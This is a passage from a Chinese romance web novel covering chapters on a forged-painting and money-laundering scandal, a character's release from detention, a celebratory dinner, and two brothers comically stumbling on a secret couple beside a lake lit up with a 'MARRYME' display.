她下巴微微上扬,傲气道:“放屁,我们那么努力变成现在这个样子,不是为了给他当老婆的。” 她又看向陈宗礼,重申:“也不是给你。” 被怼两次的陈宗礼立刻举起双手投降:“嗯,我不敢想,我也配不上!” …… 楼下,记者们扑了个空,等他们的车开走,陈一诺和陈宗瑜才下车。 忽然,两人停在一棵鸡蛋花树下,不知道聊什么,接着陈一诺脱掉夹克外套,往后几步,起跑、跃起,企图勾下树上的鸡蛋花。 李思维笑笑:“这次,真得谢谢一诺。要不是他最早察觉画的问题,宝瑶哪怕不跟贺朝风结婚,也要离开亚士得……” 他的目光始终离不开陈一诺,喃喃:“是啊,还好他……” 阳光下他身体轻盈腾空,宛如灵动修长的鹤,修长的手指一挥,触碰翠绿的鸡蛋花树叶,轻微的震颤带下一朵白里透黄的鸡蛋花,和他几乎同时落地。 陈一诺没把花给陈宗瑜,而是直接插到自己耳旁,快速逃走。等陈宗瑜意识到已经晚了,只能追着他跑。 陈宗礼不自觉地笑了笑,那一抹温柔的表情,被李思维敏锐捕捉到。 原来如此啊…… 她看破不说破,话题一转:“对了,还要谢谢你,谢谢你把Max的作品借给宝瑶填坑。” 陈宗礼拍拍她的肩膀:“没什么好谢的,我也不是免费捐,拍个好价钱就行。” “反正谢了。” 李思维歪歪头,象征性地轻碰着他的肩膀,等她脑袋要离开时,耳环好像被什么勾住了。 “疼疼疼!”她整个人转身跟陈宗礼面对面,左手搭着他的手臂,喃喃:“你别动,你衣服上什么东西勾住我的耳环了!” 陈宗礼离开僵住不敢动,哭笑不得:“我不动,怎么知道勾住了什么?” 李思维只能嘟囔:“那你动作幅度小一点!” 陈宗礼歪头看了看,明白了:“我的袖扣跟你的耳环缠在一起了……” 耳环扯着耳朵太疼,李思维只能歪着脑袋,贴着陈宗礼的小臂,脚不自觉往后走了半步,后背贴上窗边。 她的身体挡住了光线,陈宗礼只好把脑袋凑近些,试图看清耳环跟袖口勾连的部分。 “奶茶!我渴死了……” 忽然,陈宗瑜和陈一诺一前一后冲进包间。同时被眼前这一幕震慑到——陈宗礼把李思维逼到窗边,两人面对面,头挨着头…… 不仅如此,“疼……”李思维的娇嗔,被听个正着! 目睹这一幕的两个人,同时顿了顿,身上着火似的立刻转身,“啪——”关上包间的门。 为了装作什么都没看见,门外两人有一句没一句大声说着无厘头的话,企图掩饰尴尬。 陈宗瑜:“哈哈哈,庄嘉轩被抓了,我们要不要去看看啊?!” 陈一诺:“哈哈哈,有什么好看的,刚刚不是才看完吗?!你编瞎话的能力是不是太瞎了哈哈!” 陈宗瑜:“哈哈哈,我要是瞎了还好了呢,不用那么尴尬……” 包间内,李思维笑得浑身发抖:“完咯,完咯!被误会咯,怎么解释啊……” 陈宗礼废了半天力气,终于把耳环解开,丢回她身上。无奈地靠在墙边,颓然地看向门外的人影。 面无表情道:“解释什么呀,他早就误会了……” 第57章 “近日,港城首富长子贺朝风,因伪造名画被殴打至昏迷,目前情况稳定!” “受骗苦主称,已获得相关证据,接下来会状告其诈骗!下面由特派TVA记者梁凉进行报道。” 晚饭时分,陈家老宅饭厅内。 难得陈家三个孙子早回家,大家济济一堂坐在紫檀木圆桌上吃晚饭。 刚吃到一半,TVA新闻报道就听到这则新闻。所有人的视线,瞬间被电视吸引。 电视里,正在播放的是,记者对苦主的采访,苦主被打了码变声,单凭那个金色寸头,很容易被熟人认出。 兰姨端出最后一盘炒青菜,对着电视里打码的人说:“这不是庄嘉轩那小子吗?他犯事了?!” 陈宗瑜追星似的,抢过遥控机,调大音量,说:“他把贺朝风打进医院了,不过他打得好!” 母亲吴淑芬皱眉,一百个看不上:“打人还有打得好的?!他还真是三岁看老!有什么事不能好好说?非要动手!” 屏幕里,变了声的庄嘉轩说道:“……受他资助落魄艺术生,模仿大师笔触仿造假画,经画廊跟拍卖行合作拍出高价。国外收藏家已经证实从拍卖行买到的画作是伪造,他们正在对簿公堂,没想到,他居然敢在港城故技重施!” 饭桌上,陈宗瑜添油加醋地补充庄嘉轩不能在电视上透露的细节,企图给庄嘉轩加分挽回形象。 “奶奶,你不知道贺朝风这孙子多过分!他跟外国画廊联手给宝瑶姐的新画廊做局,把假画卖给她当开幕作品,还企图用这幅假画威胁宝瑶姐嫁给他。” “庄嘉轩气不过他欺负宝瑶姐,所以才出手打人的!” 吴淑芬虽然不待见庄嘉轩,可眼里最看不得这种腌臜事,瞬间怒了:“贺朝风乱搞的女人没有成百也有上千了。私生子都赶上一支足球队,还癞蛤蟆想吃天鹅肉!真不要脸!” 陈老太可是“人精”,一看桌上的情况大概就清楚了,她慢条斯理问:“这些细节你们怎么知道的?你们也参与了?” 陈宗瑜笑笑:“嘿!刚开始,是一诺哥哥发现画有问题,陈宗礼就跟着一起想办法的。” 陈一诺趁机解释:“本来我们也不赞成使用武力,但我们收集证据的时候,贺朝风说的话太气人了,特别是拿宝瑶姐的婚姻和事业做要挟的时候!庄嘉轩这才忍不住动手打了人!” 陈宗瑜补充:“就是!宝瑶姐也打了!朝他脑袋砸了个瓶子呢!不过庄嘉轩全揽上身了……” “奶奶,贺家的手段真是防不胜防!这次要不是人赃俱获,保不齐他们下次就要对付我们了。” 陈老太被这两个吵得头晕,她看向始终一言不发的陈宗礼问:“他们这样胡闹,你也同意了?” 陈宗礼放下筷子,咽下嘴里的饭才开口:“贺家在跟奥斯康家族谈合作,听说奥斯康的人一直不待见贺朝风。这次大费周张布这种局,其实是让庄宝瑶当他的助力!” “这背后,肯定得到贺朗授意。再说,庄家跟我们从小就交好,我们不可能袖手旁观的。” 陈一诺也附和:“奶奶,贺朗那个老头子真的坏!先是利用古德庆让我们兄弟离心,现在又利用假画差点破坏哥嫂感情!真的太恶心了!” 听见“哥嫂感情”,陈宗礼剐了眼陈一诺,额头青筋跳了跳,想到他本意是帮自己,又把话咽了回去。 陈宗瑜接着说:“就是,万一他成功了,思维姐和宝瑶姐辛苦策展的画廊就没了!全是因为那根烂黄瓜!想想我就来气!!” 陈老太瞪她一眼:“什么烂黄瓜,小姑娘家家的,说话注意点!” 被骂的陈宗瑜嘟囔着嘴,低头吃饭不说话了。 陈一诺眨眨眼,凑到陈宗礼耳旁,轻声问:“哥,什么是烂黄瓜?” 他的温度喷在耳边,陈宗礼那张冰山脸裂开一条缝,半天挤出一句:“谁说的你问谁去。” 陈一诺悻悻道:“哦……好吧……” 陈老太严肃的脸松下来,淡淡道:“贺家最近的举动,确实不寻常。但跟他们多次摩擦总不是好事,狗急了会跳墙,贺朗这种老狐狸急着了,杀伤力更大!” “现在羽南港很关键,你们盯紧点,千万不要给他们钻了空子。” 陈宗礼和陈一诺被最近的事闹得有些飘,被老太太当头一棒,瞬间清醒。 他们同时应承着:“知道了,奶奶。” “宝瑶和思维……”陈老太难得露出笑容,“这次骨头硬起来了,做得好。” 她点了点陈宗礼:“听说你私人拿了几幅MAX的作品给她们救场。” “看你平时对思维淡淡的,以为你不在乎。现在看来,她出事你还是维护她的。” “看来,年轻人多些刺激也好,感情才能升温,是不是?” 老太太忽然拐到感情上来,陈宗礼一时不知如何回应,只能躲避她的视线,笑笑没说话。 徒留陈一诺应承:“奶奶,他们感情真的很好!那天在宝记他还跟思维姐……唔……” 没等他说完,陈宗礼把一只三杯鸡腿塞到他嘴里,警告:“闭嘴,吃饭!” …… 自从撞破陈宗礼和李思维的接吻现场,陈一诺连续做了好几晚的噩梦。 梦的内容总是千篇一律。他推开一扇门,房间内光线寡淡。一个高大的背影占据他的视角,无需确认,他也知道,背对他的人是陈宗礼,而梦里的他,正跟怀里的人激烈拥吻。 忽然,对方把他推开,捂着嘴唇说了什么,然后便离开了。 徒留陈宗礼一脸茫然站在寡淡的房间里。这是他从没见过的陈宗礼,沮丧的,受伤的…… 按道理,陈一诺的梦,应该从这里停止。但是没有,他走进房间,他想靠近陈宗礼安慰他。 梦里的画风急转,寡淡的房间忽然变成了迪厅,镭射彩球折射出星星点点的光,浪漫又迷幻。 陈宗礼一手按住他的脖子,锋利的五官慢慢朝他靠近,说:“陪我练习接吻吧。” 梦里的陈一诺像被施了定身咒一般,无处可逃。 下一秒,他们的唇,便温柔地触碰在一起。 “啊——” 陈一诺就是在这个时候从梦中惊醒的。 最开始两次梦见,他还以为是被“陈宗礼居然会接吻”这件事吓到了! 等第三次被吓醒,他一只手下意识捂着嘴,另一只手下意识找手机解梦。 解梦一句话很专业:“梦中的场景不是字面意义上的真实欲望……” 没错没错!他不可能想吻陈宗礼!陈一诺边点头边往下念…… “而是潜意识通过象征和隐喻表达内在情感、需求或未解决的课题。” 内在情感和需求……陈一诺盘腿坐在床上,双手交叉,回忆着陈宗礼和李思维接吻的细节,心里有种心酸。 为什么会心酸呢? 陡然想起,梦里陈宗礼说的那句:陪我练习接吻吧! 陈一诺瞪大双眼,恍然大悟:“我想到了!” 一直以来,陈宗礼在他心目中形象是无所不能的!但那天撞见他们接吻,李思维居然喊“疼”。所以说,无所不能的陈宗礼也有能力盲区。 其实,也能理解。 陈宗礼因为沉迷工作,荒废恋爱,导致接吻技巧生疏!——陈一诺心酸的是这个! 他连续会的这个噩梦,正是因为内心提陈宗礼有些烂的吻技而苦恼! 所以,才会梦见“以身试吻”这样荒谬的场景! 梳理清楚逻辑关系后,陈一诺觉得通体舒畅! “那么问题来了!要怎么帮陈宗礼呢……” …… 那天晚饭后,所有人各自回房休息。 陈宗礼在房间继续加班,忽然门外传来敲门声。 “叩叩——” “进……” 门打开,从门外透出半个卷毛脑袋,他朝书桌办公的陈宗礼笑笑:“哥,找你有事,你方便吗?” 陈宗礼合上笔记本电脑,揉了揉眼睛,不知不觉已经到了11点:“方便,进来吧。” 陈一诺刚洗过澡,一身青苹果色睡衣,头发湿湿的没吹干,走进来几步,房间里就添了淡淡的柚子香。那双灵动眼睛里闪烁着迫不及待的光。 “啪——”他把一个宝石蓝色丝绒盒子,献宝似的放到书桌上,慷慨地笑道,“给你的!” 陈宗礼打开盒子,里面是一枚水滴型的粉色钻戒,克拉数不小。黑峻的眼眸里带着疑惑,他看向陈一诺,询问什么意思? 陈一诺神秘地笑笑:“我看你天天忙忙忙,特意跟陈宗瑜打听了,思维姐喜欢这种彩钻。刚好最近秋拍有几颗不错,我就拍了一颗。” “你送她这个,她一定喜欢。” 陈宗礼黑如墨的眼睛,幽幽看着他,一句话也没说,时间久了,陈一诺被他看得心里发毛,卖乖的笑容也僵了。 半晌,他把视线移到盒子上,手指一下下点着,问道:“还知道打听李思维的喜好,挺上心……”??? 这句话,听起来怎么有点怪怪的? 等一下,他哥误会了什么? 他连忙解释:“哥,我对思维姐没有半点想法!她在我心里,是不可替代,不能亵渎的大嫂!永永远远!” 他还“啪——”地双手拍在书桌上,一字一句地承诺。 “请带着我七位数的祝福,和大嫂一起,甜甜蜜蜜,长长久久!” 说完,咧着笑容,脚下起火似的,狂奔出陈宗礼的房间。 陈宗礼看着小卷毛,风一样地从房间消失。要不是空气里残留了柚子香,仿佛他从没出现过。 他目光转向面前的那盒“七位数的祝福”。 这一切串联起来,让他想起把领居家的鸡,叼给主人领赏的狗子。他单手扶额,按住额上“突突突”跳动的青筋。 “叮——”,陈一诺逃走的一分钟后,他收到了一条消息。 【输给你爸不丢人】给你发了一条视频。 陈宗礼点开视频,标题赫然写着:史上最强!Kiss到TA腿软的激吻技巧! 输给你爸不丢人:嘿嘿,专门给你找的教程!有空补补课,下次对思维姐温柔一点哦! 输给你爸不丢人:超级甜心.jpg 陈宗礼手指抽搐地在那个视频上划了划,今天第三回,额上的青筋“突突突”地蹦迪。 自从李思维回国后,每次陈一诺跟他聊起感情的话题,陈一诺的直男思维,都让他感到绝望。 陈一诺的那些灵机一动,以及为了他跟李思维的感情保驾护航的举措,就更让他哭笑不得。 陈宗礼气鼓鼓地把“七位数的祝福”丢进抽屉,半晌,点开那个教学视频,气势汹汹地…… 开始自学—— 作者有话说:陈一诺:帮助陈宗礼提升接吻能力,get! 陈宗礼:好好学习,争取吻到陈一诺腿软,get![坏笑][坏笑][坏笑] 第58章 “砰——” “嘭——” 私人医院VVIP病房内,传来砸东西的声音。 医院护工拿着清洁用品准备进去打扫,被保镖抬手挡住:“再等等。” 不出所料,又传来几声巨响,比上一波砸的东西还多,接着房间内传来贺朗震天的怒斥。 “你脑子是不是有问题!假画的事在国外已经被发现了,你还不知道低调?!非要丢脸丢回港城!你现在让我的老脸往哪儿搁?!” VVIP病房内,病情刚有些好转的贺朝风颓然地坐在病床上,头上还抱着纱布,那是被庄宝瑶砸瓶子留下的。脸上血汩汩往下流,那是贺朗刚刚摔杯子时,被玻璃片划破的新伤。 贺朝风脸上血混着眼泪,低头说:“我真没想到,丽贝卡会背叛我,把证据全部给了庄宝瑶……” “你没想到?!你以为跟你上过床的女人,都得对你死心塌地?!自己的人被策反了,你还傻乎乎什么都不知道!!” “用在普通大学生身上的把戏,也敢用在庄宝瑶身上?!人家一个瓶子把你砸成脑震荡!!!刚刚,庄宝瑶妈妈给我打电话,句句都在点我!” “那个老女人居然敢警告我!当初,不是我拉了她家一把,她能当圣保罗校长?环亚集团能成为娱乐龙头?!” 坐在一旁,冷眼看着一切的贺朝阳,表情没有一丝波澜,仰头品了杯碧螺春,说话也带着一股茶味。 “爸,哥也不知道,这件事会牵动李陈两家。他们一早发现RCC有问题,还顺藤摸瓜,找到了岛屿。现在我就担心,我们辛苦搭建的洗/钱/线要毁了,可能还要被牵连更多……” 由RCC为起点的洗/钱/线,刚开始只是利用RCC作为中转,跟拍卖行接洽拍卖名画,通过抬高价格,替贺朗洗钱,顺便维护关系。后来,贺朝风发现造假画更暴利,于是开始找落魄艺术生仿造假画,才有了后面的事。 哪壶不开提哪壶。提起这个,贺朗更生气了。转身又砸了一个花瓶。 “废物!你就是个废物!!!本来我们可以用这条线,跟C国官员搞好关系!为此,我们投入了多少钱!花了多少心血!就因为你,现在全毁了!!” 贺朝风彻底哑了,只能低头默默垂泪。贺朗目光忽地盯着一旁的律师:“他的官司胜诉可能性大吗?” 律师哪里见过贺朗这副模样,一直站在角落瑟瑟发抖:“比……比较难,对方目前提交的证据很充足!” “打不赢就集体滚蛋!老子不养闲人!!” 他指着两个儿子:“你们也一样!” 贺朝阳用力捏着茶杯,虽然看着贺朝风被骂很爽,但他在心里隐约觉得不对劲。 明明贺家的布局很缜密,理论上稳操胜券。可最近却事事不顺。 先折了一个吴奇,丢了收购案,又被策反一个古德庆,还丢了羽南港,他自己更是身陷官司。 现在,因为贺朝风的傻逼行为,赔进去整条洗钱线,把庄家彻底推到陈家阵营里。这样下去不行,得想办法把主动权拉回贺家手里才行。 他淡淡道:“爸,现在形势不太乐观。我们跟董家那边还算稳定,但奥斯康家族那边不能怠慢了。既然庄家行不通,我们可以转向李家!让我看看能不能从李家纯这个老狐狸身上入手!” 贺朗气喘吁吁看着小儿子,冷哼一声:“这事办不漂亮,你就给我滚出国,再也不用回来了!” 贺朝阳扬起嘴角,跟败犬似的大哥对视一瞬,阴着脸道:“放心!” …… 造假事件,承包了港城接下来一周的话题,亚士得把贺朝风和RCC告上法庭,同时牵扯出C国都富比“天价”假画事件。 专案组每天都有新消息抛出,让这条神秘的名画造假链条浮出水面。港城的吃瓜群众,每天都吃得不亦乐乎。 一周后,港城利柱监狱的铁门缓缓打开,金发寸头的庄家轩穿着黑T恤走出来。他因为殴打贺朝风,违反了《治安管理处罚法》,被判七天拘留,今天刚好释放。 心怀热血的庄嘉轩,在重获自由时,感慨万千,他幽幽地抬头看天,回顾过去七天的种种,感觉人情冷暖,世态炎凉。 他正自我唏嘘着,耳畔忽地传来不合时宜的大喇叭声。 “那位以为在拍古/惑/仔电影的庄先生!别装了,没粉丝看你,没镜头拍你,赶紧往前走,别回头!!今天行程很满!” 庄嘉轩朝声音方向看过去——十米外,一辆银色雷克萨斯保姆车停在树阴下。暖黄针织衫的陈一诺,似笑非笑地看着他。旁边米白色休闲服的陈宗礼戴着墨镜,估计也在看他。 “啧,真他妈破坏气氛!” 刚刚还自我感觉帅气的庄嘉轩,忽然有些害羞。他摸了摸鼻尖,手指在裤子两边搓着,低头朝他们走过去。 车门忽地打开,庄宝瑶从车上下来,身着灰色西装连体衣配马丁靴,庄嘉轩刚喊一声:“姐……” 庄宝瑶就把一搓柚子叶塞他嘴里,他刚想吐出来,庄宝瑶指着他命令:“咬着!不许吐!” 趁他没反应过来,庄宝瑶又拿出一条崭新的、用柚子叶捆成鸡毛掸子形状的柚毛掸子,“噼里啪啦”,从头到脚给他揍了一遍。 可怜的庄嘉轩在监狱外的小广场内,被姐姐揍得满地乱跳,嘴里的柚子叶也不敢松,边逃还边求救:“哎哟……姐……你轻点……别只打我的屁股呀……!” 站在一旁的陈一诺笑得肚子疼,陈宗礼手肘撞撞他:“别笑了,兰姨准备的东西呢?拿出来吧。” 陈一诺转身从车里拿出一个铜盆,里面放了一叠兰姨去庙里求回来的驱邪、避小人符纸。 陈宗礼用火机慢慢地引燃了那叠写满咒语的符纸,接着点点小火星燎原至整个盆。 陈一诺指着地上的火盆,对庄宝瑶喊:“宝瑶姐,往这边赶!” 庄嘉轩听见急了:“陈一诺,你他妈当我是猪,还是羊啊!” 陈一诺喊:“今天你最大,你觉得是什么就是什么!” “我呸!”虽然很不爽,但庄嘉轩还是朝着火盆的方向一路狂奔,火烧得很旺,就在他迈过火盆的瞬间。 火盆对面忽然多了一个人!等他双脚落地,刚好跟人家面对面。 一袭白裙的陈宗瑜看见面前的庄嘉轩,双手一抬,把他抱得紧紧的,嘴里还嘟囔:“我想你了!” 嘴里的柚子叶,堵住了庄嘉轩的嘴。他只能默默抬起手,慢慢拍一拍她的背作为回应。 就是这个无声的拥抱,看得一旁的两个哥哥连连起哄。 陈一诺鼻子莫名有些酸:“艹!这火盆跨得挺有纪念意义。要不他两结婚,也跨一次火盆,也这么抱一个,多浪漫啊!” 陈宗礼剜了他一眼:“对,用一个火盆代表他们的爱情!等庄嘉轩哪天死了,陈宗瑜也能跨火盆帮他破地狱~” 陈一诺变了变脸色,嫌弃道:“陈宗礼,你内心也太阴暗了,不能盼着陈宗瑜一点好!” 说完觉得还不够,又补了一句:“你真的太阴暗了!” 陈宗礼调笑:“你要是死了,我也帮你跨火盆,帮你破地狱。” 陈一诺瞪他一眼:“呸呸呸,求你盼着我点好吧!” …… 出狱流程做完后,一行人上保姆车,半小时后抵达龙凤楼的包间,李思维已经在里面早早恭候。 她拿着一袋衣服递给庄嘉轩:“那边有浴室,你去冲一冲,把新衣服换上,把旧衣服丢了!” 20分钟后,焕然一新的庄嘉轩重回圆桌,正式开饭。 席间,庄宝瑶率先举杯:“这次,我们能全身而退,谢谢大家的帮忙!我先干为敬!” 说完,仰头饮尽大半杯红酒,她翻转酒杯展示一滴不剩。 有她打头阵,其他人也纷纷干了。 陈一诺喝完杯里的红酒,两颊有些红,他指着庄嘉轩:“要不是托庄少的福,我还喝不上82年的Mouton!谢谢宝瑶姐~” 庄宝瑶叉着腰:“不用谢我,这瓶Mouton是从他酒窖里拿的,谢他!” “什么!!!!”庄嘉轩一口酒没来得往下咽,差点被亲姐吓噎住。 他把酒瓶抢过来一看,滴血认亲似的认酒,骂道:“我去!!真的是我的Mounton!!姐,这是我的老婆酒啊!!” 庄宝瑶看了眼陈宗瑜:“宗瑜不是也喝了吗?而且你出狱不值得庆祝吗?别那么小气!” 庄嘉轩抱着剩下半瓶Mounton转头问陈宗瑜:“你觉得好喝么?” 陈宗瑜看他一脸赤诚,咂摸着嘴里红酒的余味:“果香挺浓的。” 她忽然凑到他耳畔,悄悄道:“你喜欢这酒,我回陈宗礼酒窖偷拿几瓶,他多的是!” 陈宗瑜的悄悄话声音不低,被陈一诺全听见,他看了陈宗礼一眼,感叹女大不中留。 聊完酒,陈宗瑜拽回正题:“今天新闻刚说,警方以岛屿基金会为原点,找到了贺朝风利用岛屿洗/钱的到证据。” “原来他们不止伪造,还涉嫌用伪造的名画洗钱!贺朝风这次判决估计不轻!” 李思维挑眉:“因为这件事,C国警方顺藤摸瓜抓了几个zf官员,建盛在C国的很多基建项目被喊停,宏发也连带受到影响,我爸的脸色最近可差了!” 陈宗瑜关心道:“啊?李叔叔有没有怪你?” 庄宝瑶的目光淡淡落在李思维身上,只听她笑道:“管他呢,少几个合作,集团也不会垮。” “不过,我也是才发现,贺家这几年,重心好像都在国外。在A国跟董家合作,在C国跟奥斯康家族搞关系…好像准备慢慢往国外迁移。” 陈一诺皱眉跟陈宗礼对了个眼神,但他脸上表情淡淡的,似乎早就知道了,并不诧异。 庄嘉轩不懂:“去国外发展?干嘛还要打我姐的主意?” 李思维笑了:“你一点都不关心你姐!你姐可是奥斯康家族的收藏顾问呢!” 除了庄宝瑶,其他人都惊讶了:“真的假的?” 陈宗礼笑了:“那就讲得通了。据说,奥斯康家族很看重合作伙伴的家庭。” “那些花名在外的风流富商找他们谈合作,他们连面都不见。贺朝风冒那么大的风险,非你不娶,估计就是奔着这个来的!” 庄宝瑶松了松筋骨,发出“咔咔”的声响:“那对不起咯,老娘不是他想娶就能娶的!” 庄嘉轩“啪——”双掌拍在桌上:“就是,他外面彩旗飘飘,还想我姐给他当老婆,帮他拉客户!” “把他的头拧掉,跟彩旗挂城墙上一起飘飘,还差不多!” …… 这顿饭,从下午一直吃到晚上。 他们前后开了5瓶Mouton,每开一瓶,庄嘉轩就难受一回。喝到最后,大家喝的已经不是酒,而是庄嘉轩的难受,他越难受,酒越好喝。 陈一诺觉得自己的精神前所未有的放松。什么复仇,什么恩怨忘得一干二净。拿着根筷子当笔,不知疲倦地转啊转。 电视剧里有句名言:一家人最紧要齐齐整整。 确实啊,齐齐整整,热热闹闹,多好…… “啪——” 手里的筷子失手转掉到桌底,他弯腰撩起桌布,结果,看见了另一个世界。 一个看似合理,又不太合理的世界…… 第一反应,陈一诺先放下桌布,眨了眨眼,以为是酒精上脑,看花了眼。 陈宗礼看他停留的时间有些久,靠过来问:“怎么了?” 陈一诺脑子里像塞了一团浆糊,他坐直身体,呆呆地说:“哥,我好像喝多了……” “出去透透气……”—— 作者有话说:啪~啪~啪~啪~桌子底下有什么? 明天说明天说~[坏笑][坏笑] 第59章 出去透气的陈一诺,离开半小时还没回来。 陈宗礼回忆起,陈一诺离开前惊慌的眼神。脚尖把桌布撩开,歪头往下一看—— 他看见了陈一诺看见的世界。 桌上,庄嘉轩讲笑话时,手搭在陈宗瑜的椅背上,讲到好笑时两人的脑袋下意识触碰。 桌下,两人小腿轻轻相触,无论对方动作多大,稍微分开一些,很快又像磁铁似的贴在一起。 桌上,坐在庄家轩旁边的庄宝瑶女士,手指夹着细长的女士香烟,缓慢地吐出烟圈,不时吐槽庄嘉轩两句。她旁边的李思维侧身靠着桌边,似乎喝了不少,手托着腮看着他们姐弟打闹。 桌下,李思维翘着二郎腿,一只高跟鞋勾在脚上,另一只踩在黑色马丁靴上。 庄宝瑶的马丁靴。 啊,原来是看到了这个。 陈宗礼脚尖从桌下收回,目光再次转回桌上。身在包厢,心已经飞到小卷毛的身上。 小卷毛看到这些,心里在想什么? 他哥女朋友性取向居然为女?!他哥被绿了,要不要告诉他?! 刚送李思维七位数的祝福,还给庄家送了个大人情……到头来,全给她们做嫁衣了?! 陈宗礼越想,手指间的手机旋转得越快,脚也不自觉地轻轻抖动,这时要是有一个发令枪,他估计要冲出去找人。 心有灵犀似的,他收到一条陈一诺的消息:一个定位分享。 陈宗礼点开定位,是龙凤楼隔壁三百米的烟波湖公园。 输给你爸不丢人:哥,快来! C:? 输给你爸不丢人:来就是了,给你看好东西! 陈一诺的文字里透着一丝迫不及待的兴奋,让陈宗礼有种似曾相识的感觉。 似曾相识的不详。 他收起手机,交代陈宗瑜几句,就朝陈一诺定位的烟波湖公园去。 烟波湖公园,是港城唯一一个以湖为中轴拓展的公共绿地公园。沿着环湖步道,能欣赏烟波湖不同景致,湖心两侧有大片湖边草坪,不少音乐节、灯光节都在这里举办。 恰好这周,港城经历第一次降温,虽然入冬失败,但夜晚温度依然下降不少。 少了活动的喧闹,又是初冬的非周末夜晚。今夜的烟波湖公园,人迹罕至,只剩下“吱吱”的虫鸣。陈宗礼走在湖边,迎面凉风习习,风声配虫鸣,不时有微弱的动物踩树叶的声音,有些阴森。 虽然环境诡异,但陈宗礼看着自己距离定位越来越近,心跳也莫名加快。 他自己都搞不懂,心跳加速的原因。 他应该担心才对的,担心陈一诺看到不该看的,受了刺激,要醉酒跳湖…… 走了快10分钟,他抵达陈一诺给的定位。 此时,他正站在烟波湖的湖心草坪广场上。晚上10点,湖两旁的灯已经关了,只有借远处兢兢业业的路灯,偷来一些星星点点的光亮。 他原地自转了一圈,没看见陈一诺,正准备给他打电话,忽然听见—— “哥!” 一个人影忽地出现在几十米外,暖黄色针织衫在幽深空旷的湖边,像一只萤火虫。 陈宗礼远远看着他,虽然喝了酒,眼睛还是亮亮的,没有“天塌了”的惆怅。 他顿时整个人都松开了,站在原地,慢慢等他朝自己走来。 嘴角什么时候扬起,他都不知道,只冷淡地问:“到底叫我来干嘛?” 明明广场上只有他们两个,陈一诺还把手指放在嘴边,“嘘——”了一声。 “……” 他双手搭在他肩上,让他面向空旷的烟波湖,神神秘秘道:“你站在这里,别!说!话!” 手指还在他嘴唇上做了个拉拉链的动作,他身上还带着酒气,动作很笨,把陈宗礼逗笑了。越发好奇他葫芦里卖什么药。 这时,不远处传来“哒哒哒哒——”脚步声,还有人的笑声。 陈宗礼刚想“破戒”问陈一诺,是不是他的惊喜来了…… 陈一诺却早一步告状,质问他:“你带人来了?” 陈宗礼摊手:“没有啊。” 陈一诺拉着他往草坪旁的凉亭,用柱子作为掩体,暂时隐藏起来。 喃喃:“这么晚了,还有其他游客?太巧了吧。” 声音又近了些,夜视能力极好的陈宗礼第一时间认出了对方。 他冷冷道:“可不是巧了么。” 陈一诺这个小四眼,眯着眼睛看了半天,才从模糊认出了轮廓——是李思维和庄宝瑶。 “她们怎么来了?”他声音有些着急,不想让陈宗礼知道她们之间的猫腻。 陈宗礼抵着旁边的柱子,饶有兴趣地看他:“来就来呗,快说呀,到底让我来干什么?” 陈一诺着急解释:“看惊喜啊!” 陈宗礼冷笑:“现在多了两个观众,还能算惊喜吗?” 陈一诺急了:“还讲风凉话,她们也往这边来了,快跑!” 也不知道为什么要跑。反正就是要跑。 这个凉亭不小,中间还有一个旋转梯,可能怕出事,楼梯口挂着一个“闲人免进”的牌子。 陈一诺不管,迈过标识直接往上爬,陈宗礼想抓住他,没抓着,只能紧跟其后。 两个身高一米八的男人,顺着旋转梯,躲上了凉亭的观景楼。观景楼并不大,但有位置,景致更好了。 他们不敢露头,只能蜷缩在座位上往下看。 等他们安顿好,李思维两个人也走进凉亭,听见李思维说:“唉,这里有个旋转梯!好像不让进。” 这句话,把楼上两位吓得大气不敢出。庄宝瑶说:“别上去了,这里也挺好。” 楼上两位才松口气。 陈宗礼侧头凑到他耳朵旁,有些无奈:“如果刚开始,我们大大方方跟她们打招呼,就不用躲了。” 对唉,陈一诺:“不管了,躲都躲了!” 他们先来的两人,跟后到的两人,形成了有趣站位。 同一个凉亭内,陈宗礼他们站在凉亭二层观景楼,李思维她们站在凉亭里。 但凉亭的隔音并不好,观景楼上的人,能清晰听见楼下的声音。 庄宝瑶道:“你今天很开心啊……” 李思维笑道:“当然开心啊,你能继续当画廊主理人,还不用嫁给姓贺的!双喜临门~” 庄宝瑶笑道:“我嫁不嫁给姓贺的,跟你有关系?” 李思维声音有些粘,跟平时不一样:“当然有关系!” 两人的声音慢慢变低,陈一诺他们完全不知道她们在做什么,只是慢慢地,从下方传来低低的呼吸声和水声。 “!!!!!” 当陈一诺分辨出这是接吻的声音,他缓慢地看向陈宗礼,接着:“操操操操操操操……” 30个…… 陈宗礼心里默默看着,“豌豆射手”陈一诺的嘴里连续吐出了30个“操”。 陈宗礼心里笑得很大声,话却有些冷:“你说的惊喜该不会是这个吧?” 陈一诺语无伦次,还想圆一下:“不……不是……这……哥……她们关系真好啊哈哈哈!” 陈宗礼表情淡然看他:“什么关系啊,好到接吻?!” 陈一诺:“可能……可能会吧?” 哪怕陈一诺是见惯大场面,活了两辈子的重生人,这样尴尬的场景,还是让他的语言系统陷入紊乱。 同时,大脑又不断闪过许多画面,譬如:她们在C国生活5年,最近一起回国;庄宝瑶的画廊策展是李思维负责的;发现《部落》是赝品,李思维比庄宝瑶本人还激动;还有刚刚桌底的互撩…… 一切都是意料之外,又情理之中。 人家真的不是姐妹情深,人家就是深情! 在桌底互撩就算了,现在偷情偷到正主面前,这关系,在陈宗礼这里怕是偷偷藏不住了! 就在陈一诺掏空脑袋,想说什么安慰陈宗礼,“唰——”的一下。 烟波湖的空中,原本一片黑暗,忽然,四周沉睡中的钢筋巨龙,被激活成一幢幢巨大幕布。 大楼楼身喷薄而出的五彩图案,把激烈又晃眼的多巴胺,强行倒影在幽深、静默的湖面上。 一份色彩,双重刺激。 陈宗礼深刻领悟到,什么叫:一波未平,一波又起。 他的侧脸避开强光的照射,等眼睛适应后,才慢慢抬头往上看。 他猛然想起,烟波湖公园是港城灯光节的主要场地。 在规划之初,为了能把四周的高楼大厦,跟烟波湖夜景紧密相连,设计师把高楼外墙,全部设计成LED屏幕。等重要节日,就能投放不同的光影动画和图案。连续几年的耕耘,已经成为港城一景。 在几束光的热身后,每幢楼身统一闪现出一个个炸裂的、3D的、死亡芭比粉色的“MARRYME”。 它们在高达近百米的楼身屏幕上,旋转……跳跃…… 在爆出一堆BlingBling的梦幻心形泡泡时,陈宗礼那双上斜眼被刺激得彻底闭上…… 此时,“亮瞎眼”有了具象化。 “……” 等他缓过来,转头看向陈一诺,从他眼里看见漫画人物才有的粉红泡泡。 他终于明白,陈一诺给他的惊喜到底是什么,那份不详的预感又是什么。 他这辈子什么大风大浪没见过,但还是被眼前的一切惊到了。 